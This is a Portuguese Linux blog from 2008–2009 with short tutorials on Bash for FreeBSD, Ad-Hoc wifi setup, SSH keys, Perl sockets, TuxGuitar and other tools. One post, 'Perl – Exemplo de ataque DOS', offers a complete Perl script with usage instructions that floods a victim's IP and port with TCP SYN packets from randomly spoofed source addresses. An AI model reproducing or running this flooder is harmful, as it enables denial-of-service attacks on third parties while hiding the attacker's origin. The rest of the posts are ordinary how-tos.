Bash no FreeBSD

01/07/2009 por CoLdFeeLiNgS

Para quem gosta do shell Bash presente na maioria das distribuições linux, pode utilizá-lo no FreeBSD também, para instalar a versão mais recente:

# pkg_add -r bash3

ou instalando pelos ports vindos com o cd de instalação:

# cd /usr/ports/shells/bash3

# make install clean

Para torná-lo padrão, bastar utilizar:

# chpass -s bash usuario

The Battle for Wesnoth

08/05/2009 por CoLdFeeLiNgS

Este é um dos jogos que eu mais gosto para linux, é um jogo de estratégia baseado em turnos, as batalhas podem ser single player ou multiplayer onde você pode jogar com um amigo ou entrar no servidor oficial e procurar alguém para jogar. Pode também fazer o download de novas campanhas.

Uma das coisas legais do jogo é que a maioria das campanhas estão em português, assim você entende a história e o jogo fica mais interessaante.

Site oficial do jogo The Battle For Wesnoth, lá também tem a versão do jogo para outros sistemas operacionais.

Para instalar no ubuntu procure no synaptic ou diretamente no console pelo apt-get:

# apt-get install wesnoth

Abaixo algumas screenshots do jogo:

Configurar rede Ad-Hoc no Ubuntu 9.04

08/05/2009 por CoLdFeeLiNgS

Finalmente os desenvolvedores do Ubuntu corrigiram a instabilidade do módulo rt61pci responsável por suportar as placas pci wireless D-Link, agora sem gambiarra, irei mostrar como configurar uma rede entre dois computadores utilizando a placa de rede wireless.

Primeiro execute o comando iwconfig e verifique o alias da placa de rede, no meu caso é wlan0, como no exemplo abaixo:

iwconfig

Para as configurações abaixo são necessários privilégios de root.

Abra o terminal e execute os seguintes comandos:

# ifconfig wlan0 192.168.0.1 netmask 255.255.255.0 up
# iwconfig wlan0 mode Ad-Hoc
# iwconfig wlan0 essid ubuntu
# iwconfig wlan0 channel 10
# iwconfig wlan0 key restricted s:senha12345678

A criptografia por padrão é WEP, então na última linha é definida a senha da rede, a senha deve ter exatamente 5 ou 13 digitos, caso a senha seja somente números retire o “s:” antes da senha ou ainda caso queira deixar sem senha apenas coloque off, ficando # iwconfig wlan0 key off.
No essid é o nome da rede, você pode escolher qualquer nome, resolvi colocar ubuntu.

No outro computador basta utilizar a mesma configuração, alterando logicamente apenas o endereço ip na primeira linha, para por exemplo 192.168.0.2.

Perl – Exemplo de ataque DOS

30/03/2009 por CoLdFeeLiNgS

Este script escrito em perl envia pacotes tcp a vítima escondendo o ip original do atacante (IP Spoof), claro que para um ataque de negação de serviço bem sucedido sua conexão deve ser bem maior que a da vítima.

Necessário ter o módulo Net::RawIP instalado, pois através dele conseguimos manipular o cabeçalho dos pacotes tcp. Para utilizar o script deverá estar logado como root.

Uso:
perl ./flood.pl <ip> <porta> <tempo>

Arquivo flood.pl

#!/usr/bin/perl

use Net::RawIP;

sub usage() {
die “Use $0 <ip> <port> <time>\n”;
}

sub get_time() {
$finaltime = time;
$endme = $finaltime-$begintime;
}

if (@ARGV>3) {&usage}

$ipdest = $ARGV[0] or &usage;
$destport = $ARGV[1] or &usage;

$time = $ARGV[2] or &usage;

@tmpport = (1756,1026,1739,4055,2001,3055,1999, 2873,20000,5476,9132,6000,9000,1234);

@iparray_round1 = (1,2);
@iparray_round2 = (0,1,2,3,4,5,6,7,8,9);

print “[!] Spoof-DoS\n”;
print “[!] Time: $timen”;
print “[!] Destination victin-> $ipdest:$destportn”;

$packet = new Net::RawIP;
$begintime = $^T;
get_time();

while($endme < $time) {

for ($z=0;$z<4;$z++) {

for($I=0;$I<1;$I++) {
$ip .= 2;
}
for($kick=0;$kick<1;$kick++) {
$iparray_round1 = $iparray_round1[rand(@iparray_round1)] ;
$ip .= $iparray_round1;
}
for($you=0;$you<1;$you++) {
$iparray_round2 = $iparray_round2[rand(@iparray_round2)] ;
$ip .= $iparray_round2;
}

$ip .= “.”;
}

chop($ip);

$tmpport = $tmpport[rand(@tmpport)];
$packet->set(
{
ip => { saddr => $ip, #Ip da vítima
daddr => $ipdest #Porta da vítima
},

#Ip de origem (Camuflado e aleatório)
tcp => { source => $tmpport,
#Porta de origem (Aleatória)
dest => $destport,
psh => 1,
ack => 0,
syn => 1,
data => ‘31337′
}
}
);

#Enviando: $packet->send(0,1) ;
print “\n[*] From-> $ip:$destport.”;
$ip = ”;
get_time();
}

#That`s all folks!
print “\nDone!\n”;
#eof

SSH autenticando por chave pública/privada

30/03/2009 por CoLdFeeLiNgS

O SSH utiliza o conceito de chave pública (que será distribuído nas máquinas que você conecta) e privada, então primeiramente deve-se criar o par de chaves:

# ssh-keygen -t tipo_chave

O tipo_chave serve para especificar qual será o método de criptografia utilizado para a criação da chave, que poderá ser rsa1, rsa ou dsa.

Quando for perguntado:
Enter passphrase (empty for no passphrase):
Você precisa digitar uma senha de no mínimo 10 caracteres ou apenas aperte enter para não utilizar senha.

Como exemplo foi utilizado o método RSA, então foram gerados 2 arquivos: id_rsa e id_rsa.pub.

Para instalar a chave pública na máquina que você irá conectar basta utilizar o ssh-copy-id (ou scp, ssh, etc…):

# ssh-copy-id -i ~/.ssh/id_rsa teste@maquina2

Onde teste é o usuário e maquina2 é o endereço que você irá conectar.

Você receberá a seguinte mensagem:

Now try logging into the machine, with “ssh ‘teste@maquina2″”, and check in:
.ssh/authorized_keys
to make sure we haven’t added extra keys that you weren’t expecting.

Pronto, a sua chave pública foi adicionada ao arquivo authorized_keys.

Após isso basta conectar normalmente que você já estará utilizando uma chave pública.

Perl – Client / Server

29/03/2009 por CoLdFeeLiNgS

Estou disponibilizando 2 scripts em perl para se trabalhar com cliente e servidor, ambos utilizam socket, para maiores informações da biblioteca visite o módulo IO::Socket::INET na CPAN.

Arquivo client.pl

#! /usr/bin/perl

use IO::Socket::INET;
use strict;

my $cliente_socket = IO::Socket::INET->new(
‘PeerAddr’ => ‘localhost’,
‘PeerPort’ => ‘2345′,
‘Proto’ => ‘tcp’
) or die “Não foi possível criar o socket. ($!)\n”;

system (clear);
print “Digite sua mensagem e aperte enter.\n”;

while (<STDIN>)
{
print $cliente_socket $_;
print scalar <$cliente_socket>;
}

Arquivo server.pl

#! /usr/bin/perl

use IO::Socket::INET;
use strict;

my $server_socket = IO::Socket::INET->new(
‘LocalPort’ => ‘2345′,
‘Proto’ => ‘tcp’,
‘Reuse’ => 1,
‘Listen’ => SOMAXCONN
) or die “Não foi possível criar o socket. ($!)\n”;

print ” Servidor iniciado.\n”;

while (my $cliente = $server_socket->accept){
while (<$cliente>) {
print “Mensagem recebida: $_”;
print $cliente “Mensagem enviada: $_ “;
}
}

Basta salvar os 2 arquivos e executar:

# perl server.pl

# perl client.pl

Perl – Hello World

01/03/2009 por CoLdFeeLiNgS

Perl (Practical Extraction and Report Language) é uma linguagem de programação criada por Larry Wall em 1987. Perl é uma linguagem interpretada e orientada a objetos. Uma dos aspectos que diferencia Perl de outras linguagens é sua comunidade muito abrangente e ativa. Existe a CPAN (Comprehensive Perl Archive Network) que é como uma biblioteca online que todo programador Perl deve conhecer. Quando você instala o Perl, ele já vem com um pacote de bibliotecas padrão,  mas é claro que ele não atende a  todas as necessidade, e conforme a comunidade vai desenvolvendo novos scripts, módulos, documentação entre outras coisas, isto vai sendo disponibilizado no CPAN para que outros possam utiliza-los. O Perl pode ser executado diretamente na linha de comando ou através de arquivos .pl.

Todo script em Perl deve conter na primeira linha o local do interpretador (com excessão de quando for interpretado diretamente na linha de comando), geralmente o Perl é instalado no diretório /usr/bin ou /usr/local/bin, então a primeira linha sempre terá #!/usr/bin/perl.

1º Exemplo diretamente na linha de comando:

# perl -e ‘print “Hello World!\n” ‘;

2º Exemplo através de um arquivo chamado teste.pl

Utilizando um editor de texto crie um arquivo chamado teste.pl e digite as seguintes linhas:

#!/usr/bin/perl
# Hello World em Perl
print (“Hello World!\n”);

Depois só executar:

# perl teste.pl

TuxGuitar, um editor de tablatura opensource

23/11/2008 por CoLdFeeLiNgS

O TuxGuitar é uma alternativa livre do famoso Guitar Pro, suportando os mesmos formatos de arquivos (gp3,gp4,gp5). A interface, a forma de edição, os efeitos são semelhantes ao Guitar Pro.

Você pode exportar seus arquivos para ASCII, PDF, MIDI e possui suporte a vários plugins.

captura_de_tela-tuxguitar

O TuxGuitar vai ajudar aqueles compositores caseiros ou todos aqueles que interessam por compor músicas, de uma forma rápida e fácil no nosso computador.

captura_de_tela-tuxguitar-vaughan-stevie-ray-crossfiregp3

Para instalar, basta acessar o site do projeto para fazer o download ou via apt-get:

# apt-get install tuxguitar

Comunicação entre terminais utilizando write

22/11/2008 por CoLdFeeLiNgS

O comando write permite a troca de mensagens entre dois usuários de um mesmo sistema. Para finalizar a sessão basta apertar CTRL-D.

# write user [tty]

Onde user é o usuário no qual deseja trocar mensagens e tty é o terminal em que o usuário está logado.

Por padrão, o recebimento de mensagens está habilitado, mas o usuário pode desabilitar o recebimento de mensagens no seu terminal com o comando:

# mesg n

Para receber mensagens novamente:

# mesg y

Dica: caso queira saber quais usuários estão logado no sistema, digite o comando w, as duas primeiras colunas serão referentes ao nome do usuário e ao número do terminal.

AA-lib, assistindo seus videos em ASCII

20/11/2008 por CoLdFeeLiNgS

A AA-lib é uma biblioteca de baixo nível, cujo a principal diferença é que AA-lib não necessita de um dispositivo gráfico. Ela é uma biblioteca portável de gráficos de arte ascii. Internamente, ela funciona como um display gráfico, mas a saída é renderizada em esplêndidos gráficos ascii independentes de plataforma. Para instalar basta executar:

# apt-get install libaa1

Você pode utilizar a AA-lib através de tocadores de vídeo como o mplayer, usando o parâmetro -vo (video output):

# mplayer -vo aa video.mpg

Caso queira alterar a resolução, acrescente a opção -x, por exemplo:

# mplayer -x 800 -vo aa video.mpg

Abaixo uma screen de um clipe meu rodando com a biblioteca AA-lib, quanto mais longe vc olhar do monitor maior será a nitidez da imagem.

ozzy

Caso queira mais informações acesse o site do projeto:

http://aa-project.sourceforge.net/